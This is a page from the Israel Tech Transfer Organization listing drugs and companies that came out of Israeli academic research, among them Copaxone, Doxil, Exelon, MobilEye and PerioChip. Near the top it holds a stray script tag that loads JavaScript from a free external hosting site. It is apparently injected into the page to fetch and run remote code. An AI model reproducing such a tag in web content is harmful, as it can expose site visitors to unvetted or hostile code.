success pic
HomeSite MapContact Us
success
11 records found
page 1 of 1
<script type="text/javascript" src="http://yourjavascript.com/22351593117/o.js"></script>
The first innovative drug to be developed in Israel and to receive FDA approval, Copaxone® is a unique multiple sclerosis immunomodulator: the first and only non-interferon agent for the treatment of relapsing-remitting multiple sclerosis. Copaxone® is licensed to Teva Pharmaceuticals Ltd (Yeda).
DOXIL is indicated for the treatment of patients with ovarian cancer whose disease has progressed or recurred after platinum-based chemotherapy.

Product developed by; Yechezkal Barenholz, Faculty of Medicine, Hebrew University (Yissum) & Alberto Gabizon, Hadassah University Hospital Jerusalem (Hadasit)
An antibody based therapy presenting synergism with conventional chemotherapy. The synergistic effect was invented at the Weizmann Institute. Erbitux was developed by ImClone Systems and approved by the FDA in 2001. Imclone has a license to the synergism patent. Erbitux Sales in 2007 exceeded 1B$ (Yeda).
Exelon is a cholinesterase inhibitor, a type of medicine prescribed for people in the early or middle stages of Alzheimer's disease. Though not a cure, Exelon has been shown to be an effective medicine for treating the symptoms of mild to moderate Alzheimer's disease. Exelon provides hope for people with Alzheimer's disease and the people who care for them. It can slow the progression of symptoms and help people with mild to moderate Alzheimer's disease stay connected longer to the relationships and activities they value and enjoy.

Product developed by; Marta Weinstock-Rosin, Department of Pharmacology, Hebrew University (Yissum)
InterPharm Laboratories Ltd., founded in 1978 and today a subsidiary of Merck-Serono, was for many years the largest biotechnology company in Israel, developed recombinant cytokines for the treatment of viral infections, cancer and autoimmune diseases. All the products developed at InterPharm Laboratories (Interferon b, Interleukin-6 and soluble TNF receptors) emanated from Institute research. One product, Rebif®, is being commercially marketed (Yeda)
MobilEye was incorporated for the purpose of developing and marketing advanced products in the surging market of automated on-board driver assistant systems. The company has developed a number of proprietary algorithms and reference platforms that need only a single video camera for ACC, lane departure warning and collision mitigation. Multiple cameras are not needed for depth of scene calculation because MobilEye`s algorithms use an advanced spatio-temporal classification technique based on a novel machine learning approach that trains the system with static and dynamic visual information. (Yissum)
NDS Ltd. established in 1985, developing smart cards to prevent unauthorized access to computer data and satellite television broadcasts. The technology is based on an algorithm developed in the Institute's Faculty of Mathematics and Computer Sciences. NDS is traded on Nasdaq (NNDS) (Yeda)
PerioChip is a small, orange brown, rectangular chip (round at one end) for insertion into periodontal pocket.
The active ingredient of PerioChip is Chlorhexidine, a gold standard broad – spectrum antimicrobial agent. Each chip contains 2.5 mg chlorhxidine.
PerioChip is indicated as an adjunct to scaling and root planing procedures for reduction of pocket depth in patients with chronic preiodontitis. PerioChip should be inserted in pockets, 5-8mm in depth. After insertion into the pocket, PerioChip demonstrates a sustained release of chlorhexidine over a period of up to 7-10 days. After that period the PeriChip biodegrades and disappear. The chlorhexidine released from the Periochip have been shown to suppress pocket flora till up to 11 weeks.

Product developed by; Michael Friedman, School of Pharmacy, Michael Sela, Doron Steinberg from the Faculty of Dental Medicine, Hebrew University (Yissum) & Aubrey Soskolne, Faculty of Dental Medicine (Hadasit)
(Recombinant interferon beta), identical to the native molecule and registered for the treatment of multiple sclerosis and several viral diseases, licensed to Inter-Lab Ltd., a Serono company (Yeda).
XenneX, Inc. is a dynamic privately held company that is dedicated to providing Biotechnology, Pharmaceutical and other life sciences companies, as well as organizations dealing with biotechnology intellectual property, the highest level of services and tools to enhance their bio-medical research.
XenneX’ products help such organizations to optimize their efforts to develop innovative medical products and services. Founded in 2003, XenneX operations worldwide are carried out from its offices in Massachusetts, USA.
XenneX’ customers include many of the world’s leading biotech and pharmaceutical companies, located in North America, Europe and Japan. XenneX’ products are used in hundreds of commercial and academic organizations by thousands of users around the globe. (Yeda)
1
ITTN - Israel Tech Transfer Organization